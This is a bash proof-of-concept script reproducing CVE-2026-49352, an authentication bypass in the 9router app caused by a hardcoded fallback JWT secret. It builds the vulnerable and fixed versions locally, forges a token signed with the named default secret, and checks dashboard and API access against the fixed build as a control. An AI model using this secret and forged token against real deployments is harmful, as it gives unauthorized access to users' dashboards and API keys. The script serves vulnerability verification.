#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-49352 — 9router hardcoded default JWT secret authentication bypass
#
# This script reproduces the vulnerability against the REAL 9router Next.js app:
#   1. Build & run 9router v0.4.41 (VULNERABLE) WITHOUT JWT_SECRET, so it falls
#      back to the hardcoded secret "9router-default-secret-change-me".
#   2. Forge an HS256 JWT signed with that known secret, set it as the
#      auth_token cookie, and request /dashboard and protected API endpoints.
#      -> The vulnerable build ACCEPTS the forged token (HTTP 200, dashboard +
#         API data served) = authentication bypass.
#   3. Build & run 9router v0.4.44 (FIXED) WITHOUT JWT_SECRET. The fix
#      (commit fe3ce25ae) replaces the hardcoded fallback with a random
#      per-install secret (crypto.randomBytes), so the SAME forged token is
#      REJECTED (HTTP 307 redirect to /login / HTTP 401) = negative control.
# =============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART" "$ART/http"

cd "$ROOT"
: > "$LOGS/reproduction_steps.log"

# ---------- locate project cache (durable volume) ----------
CACHE_CTX="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [ -f "$CACHE_CTX" ]; then
  PROJECT_CACHE_DIR=$(python3 -c "import json;print(json.load(open('$CACHE_CTX')).get('project_cache_dir','') or '')" 2>/dev/null || true)
fi
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
  PROJECT_CACHE_DIR="$ROOT/artifacts/9router-cache"
  mkdir -p "$PROJECT_CACHE_DIR"
fi
VULN_REPO="$PROJECT_CACHE_DIR/repo"
FIXED_REPO="$PROJECT_CACHE_DIR/repo-fixed"

KNOWN_SECRET="9router-default-secret-change-me"
PORT=20128
HOST="127.0.0.1"
BASE="http://${HOST}:${PORT}"

log() { echo "[repro $(date +%H:%M:%S)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

# ---------- helpers ----------
# ensure_repo <repo_dir> <tag> <label>
# Clones from GitHub if the repo is not already present (durable cache miss).
ensure_repo() {
  local repo="$1"; local tag="$2"; local label="$3"
  if [ -d "$repo/.git" ] || [ -f "$repo/package.json" ]; then
    log "$label: repo already present at $repo"
    return 0
  fi
  log "$label: repo not found at $repo, cloning from GitHub (tag $tag) ..."
  git clone --depth 1 --branch "$tag" https://github.com/decolua/9router.git "$repo" >>"$LOGS/${label}_clone.log" 2>&1
  if [ ! -f "$repo/package.json" ]; then
    log "$label: ERROR clone failed"; return 1
  fi
  log "$label: clone complete (tag $tag)"
}

# build_if_needed <repo_dir> <label>
build_if_needed() {
  local repo="$1"; local label="$2"
  if [ -f "$repo/.next/BUILD_ID" ]; then
    log "$label: build already present at $repo/.next, reusing"
    return 0
  fi
  log "$label: installing dependencies in $repo ..."
  (cd "$repo" && npm install --no-audit --no-fund >>"$LOGS/${label}_npm_install.log" 2>&1)
  log "$label: building (next build --webpack) ..."
  (cd "$repo" && npm run build >>"$LOGS/${label}_build.log" 2>&1)
  if [ ! -f "$repo/.next/BUILD_ID" ]; then
    log "$label: ERROR build failed (no BUILD_ID)"; return 1
  fi
  log "$label: build complete"
}

# start_server <repo_dir> <label> <data_dir>
# Starts `next start` WITHOUT JWT_SECRET (so the hardcoded fallback is used).
# Echoes the PID to stdout.
start_server() {
  local repo="$1"; local label="$2"; local data_dir="$3"
  local server_log="$LOGS/${label}_server.log"
  : > "$server_log"
  # CRITICAL: JWT_SECRET is intentionally NOT set.
  # Run from the repo dir so `next start` finds the .next build output.
  (
    cd "$repo"
    PORT="$PORT" \
      HOSTNAME="$HOST" \
      NODE_ENV=production \
      DATA_DIR="$data_dir" \
      BASE_URL="$BASE" \
      NEXT_PUBLIC_BASE_URL="$BASE" \
      AUTH_COOKIE_SECURE=false \
      node "./node_modules/next/dist/bin/next" start -p "$PORT" -H "$HOST"
  ) >"$server_log" 2>&1 &
  echo $!
}

# wait_healthy <label> <pid>
wait_healthy() {
  local label="$1"; local pid="$2"
  local i
  for i in $(seq 1 60); do
    if ! kill -0 "$pid" 2>/dev/null; then
      log "$label: ERROR server process exited early (see ${label}_server.log)"
      return 1
    fi
    local code
    code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$BASE/api/auth/status" 2>/dev/null || true)
    if [ "$code" = "200" ]; then
      log "$label: server healthy (HTTP 200 on /api/auth/status)"
      return 0
    fi
    sleep 1
  done
  log "$label: ERROR server did not become healthy within 60s"
  return 1
}

stop_server() {
  local pid="$1"
  if [ -n "${pid:-}" ] && kill -0 "$pid" 2>/dev/null; then
    kill "$pid" 2>/dev/null || true
    sleep 2
    kill -9 "$pid" 2>/dev/null || true
  fi
}

# http_get <path> <cookie_value|-> <resp_file> <hdr_file>
# Echoes "HTTP <code> <redirect_url>" to stdout.
http_get() {
  local path="$1"; local cookie="$2"; local resp="$3"; local hdr="$4"
  local cookie_arg=()
  if [ "$cookie" != "-" ] && [ -n "$cookie" ]; then
    cookie_arg=(--cookie "auth_token=$cookie")
  fi
  curl -s -o "$resp" -D "$hdr" -w "%{http_code} %{redirect_url}" \
    --max-time 10 -H "User-Agent: pruva-repro" -H "Accept: text/html,application/json" \
    "${cookie_arg[@]}" "$BASE$path" 2>/dev/null || echo "000 "
}

# ---------- main ----------
log "=== CVE-2026-49352 reproduction start ==="
log "Project cache dir: $PROJECT_CACHE_DIR"
log "Vulnerable repo: $VULN_REPO (v0.4.41)"
log "Fixed repo:      $FIXED_REPO (v0.4.44)"
log "Known hardcoded fallback JWT secret: $KNOWN_SECRET"

VULN_DASH_FORGED=""; VULN_DASH_NOCOOKIE=""; VULN_API_FORGED=""; VULN_API_NOCOOKIE=""
FIXED_DASH_FORGED=""; FIXED_API_FORGED=""
HEALTH_VULN=false; HEALTH_FIXED=false

# ---- Ensure repos present (clone from GitHub on cache miss) ----
ensure_repo "$VULN_REPO" "v0.4.41" "vuln"
ensure_repo "$FIXED_REPO" "v0.4.44" "fixed"

# ---- Build both versions (reuse durable cache if present) ----
build_if_needed "$VULN_REPO" "vuln"
build_if_needed "$FIXED_REPO" "fixed"

# ---- Forge the JWT signed with the known secret ----
FORGED_TOKEN=$(python3 "$REPRO_DIR/forge_jwt.py")
log "Forged auth_token JWT (HS256, secret=$KNOWN_SECRET): $FORGED_TOKEN"
echo "$FORGED_TOKEN" > "$ART/forged_jwt.txt"

# =================== VULNERABLE (v0.4.41) ===================
log "--- VULNERABLE build (v0.4.41) WITHOUT JWT_SECRET ---"
VULN_DATA="$ART/data-vuln"
rm -rf "$VULN_DATA"; mkdir -p "$VULN_DATA"
VULN_PID=$(start_server "$VULN_REPO" "vuln" "$VULN_DATA")
log "Vulnerable server PID=$VULN_PID on $BASE"

if wait_healthy "vuln" "$VULN_PID"; then
  HEALTH_VULN=true

  # No-cookie control: must redirect to /login
  VULN_DASH_NOCOOKIE=$(http_get "/dashboard" "-" "$ART/http/vuln_nocookie_resp.html" "$ART/http/vuln_nocookie_hdr.txt")
  log "VULN /dashboard (no cookie)        -> $VULN_DASH_NOCOOKIE  (expect 307 -> /login)"

  # Forged cookie: BYPASS expected -> 200
  VULN_DASH_FORGED=$(http_get "/dashboard" "$FORGED_TOKEN" "$ART/http/vuln_forged_resp.html" "$ART/http/vuln_forged_hdr.txt")
  log "VULN /dashboard (forged auth_token)-> $VULN_DASH_FORGED  (expect 200 = BYPASS)"

  # Protected API, no cookie: 401
  VULN_API_NOCOOKIE=$(http_get "/api/keys" "-" "$ART/http/vuln_api_nocookie_resp.txt" "$ART/http/vuln_api_nocookie_hdr.txt")
  log "VULN /api/keys (no cookie)         -> $VULN_API_NOCOOKIE  (expect 401)"

  # Protected API, forged cookie: 200 = API access bypass
  VULN_API_FORGED=$(http_get "/api/keys" "$FORGED_TOKEN" "$ART/http/vuln_api_forged_resp.txt" "$ART/http/vuln_api_forged_hdr.txt")
  log "VULN /api/keys (forged auth_token) -> $VULN_API_FORGED  (expect 200 = API access)"
else
  log "VULN: server failed to start"
fi
stop_server "$VULN_PID"

# =================== FIXED (v0.4.44) ===================
log "--- FIXED build (v0.4.44) WITHOUT JWT_SECRET ---"
FIXED_DATA="$ART/data-fixed"
rm -rf "$FIXED_DATA"; mkdir -p "$FIXED_DATA"
FIXED_PID=$(start_server "$FIXED_REPO" "fixed" "$FIXED_DATA")
log "Fixed server PID=$FIXED_PID on $BASE"

if wait_healthy "fixed" "$FIXED_PID"; then
  HEALTH_FIXED=true

  # Forged cookie: must be REJECTED -> 307 redirect /login
  FIXED_DASH_FORGED=$(http_get "/dashboard" "$FORGED_TOKEN" "$ART/http/fixed_forged_resp.html" "$ART/http/fixed_forged_hdr.txt")
  log "FIXED /dashboard (forged auth_token)-> $FIXED_DASH_FORGED  (expect 307 -> /login = rejected)"

  # Protected API, forged cookie: must be REJECTED -> 401
  FIXED_API_FORGED=$(http_get "/api/keys" "$FORGED_TOKEN" "$ART/http/fixed_api_forged_resp.txt" "$ART/http/fixed_api_forged_hdr.txt")
  log "FIXED /api/keys (forged auth_token) -> $FIXED_API_FORGED  (expect 401 = rejected)"
else
  log "FIXED: server failed to start"
fi
stop_server "$FIXED_PID"

# =================== analyze results ===================
VULN_DASH_CODE=$(echo "$VULN_DASH_FORGED" | awk '{print $1}')
VULN_API_CODE=$(echo "$VULN_API_FORGED" | awk '{print $1}')
FIXED_DASH_CODE=$(echo "$FIXED_DASH_FORGED" | awk '{print $1}')
FIXED_API_CODE=$(echo "$FIXED_API_FORGED" | awk '{print $1}')
NOCOOKIE_CODE=$(echo "$VULN_DASH_NOCOOKIE" | awk '{print $1}')

log "=== Summary ==="
log "VULN no-cookie /dashboard : $NOCOOKIE_CODE (expect 307)"
log "VULN forged  /dashboard   : $VULN_DASH_CODE (expect 200 = BYPASS)"
log "VULN forged  /api/keys    : $VULN_API_CODE (expect 200 = API access)"
log "FIXED forged  /dashboard  : $FIXED_DASH_CODE (expect 307 = rejected)"
log "FIXED forged  /api/keys   : $FIXED_API_CODE (expect 401 = rejected)"

CONFIRMED=false
if [ "$VULN_DASH_CODE" = "200" ] && [ "$VULN_API_CODE" = "200" ] \
   && { [ "$FIXED_DASH_CODE" = "307" ] || [ "$FIXED_DASH_CODE" = "302" ]; } \
   && [ "$FIXED_API_CODE" = "401" ]; then
  CONFIRMED=true
  log "=== CVE-2026-49352 CONFIRMED: hardcoded JWT secret enables unauthenticated auth bypass ==="
else
  log "=== CVE-2026-49352 NOT fully confirmed by runtime checks ==="
fi

# =================== runtime manifest (strict JSON via python) ===================
python3 - "$REPRO_DIR/runtime_manifest.json" <<PY
import json, sys
out = sys.argv[1]
confirmed = ("${CONFIRMED}" == "true")
vuln_dash = "${VULN_DASH_CODE}"
vuln_api = "${VULN_API_CODE}"
fixed_dash = "${FIXED_DASH_CODE}"
fixed_api = "${FIXED_API_CODE}"
nocookie = "${NOCOOKIE_CODE}"
h_vuln = ("${HEALTH_VULN}" == "true")
h_fixed = ("${HEALTH_FIXED}" == "true")
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "HTTP requests to real 9router Next.js server on 127.0.0.1:20128: GET /dashboard and GET /api/keys with forged auth_token cookie (HS256 JWT signed with hardcoded secret '9router-default-secret-change-me')",
  "service_started": bool(h_vuln),
  "healthcheck_passed": bool(h_vuln),
  "target_path_reached": (vuln_dash == "200"),
  "runtime_stack": ["node", "next.js 16", "9router-app v0.4.41 (vulnerable)", "9router-app v0.4.44 (fixed control)"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vuln_server.log",
    "logs/fixed_server.log",
    "artifacts/forged_jwt.txt",
    "artifacts/http/vuln_nocookie_hdr.txt",
    "artifacts/http/vuln_nocookie_resp.html",
    "artifacts/http/vuln_forged_hdr.txt",
    "artifacts/http/vuln_forged_resp.html",
    "artifacts/http/vuln_api_forged_hdr.txt",
    "artifacts/http/vuln_api_forged_resp.txt",
    "artifacts/http/fixed_forged_hdr.txt",
    "artifacts/http/fixed_forged_resp.html",
    "artifacts/http/fixed_api_forged_hdr.txt",
    "artifacts/http/fixed_api_forged_resp.txt"
  ],
  "notes": (
    "Vulnerable v0.4.41 run WITHOUT JWT_SECRET: no-cookie /dashboard -> "
    f"{nocookie} (redirect /login); forged-JWT /dashboard -> {vuln_dash} (dashboard served = bypass); "
    f"forged-JWT /api/keys -> {vuln_api} (API data = access). "
    "Fixed v0.4.44 run WITHOUT JWT_SECRET (random secret): forged-JWT /dashboard -> "
    f"{fixed_dash} (redirect /login = rejected); forged-JWT /api/keys -> {fixed_api} (Unauthorized = rejected). "
    f"confirmed={confirmed}"
  )
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
print("[repro] runtime_manifest.json written")
PY

if [ "$CONFIRMED" = "true" ]; then
  log "Exit 0: vulnerability confirmed"
  exit 0
else
  log "Exit 1: vulnerability not reproduced"
  exit 1
fi
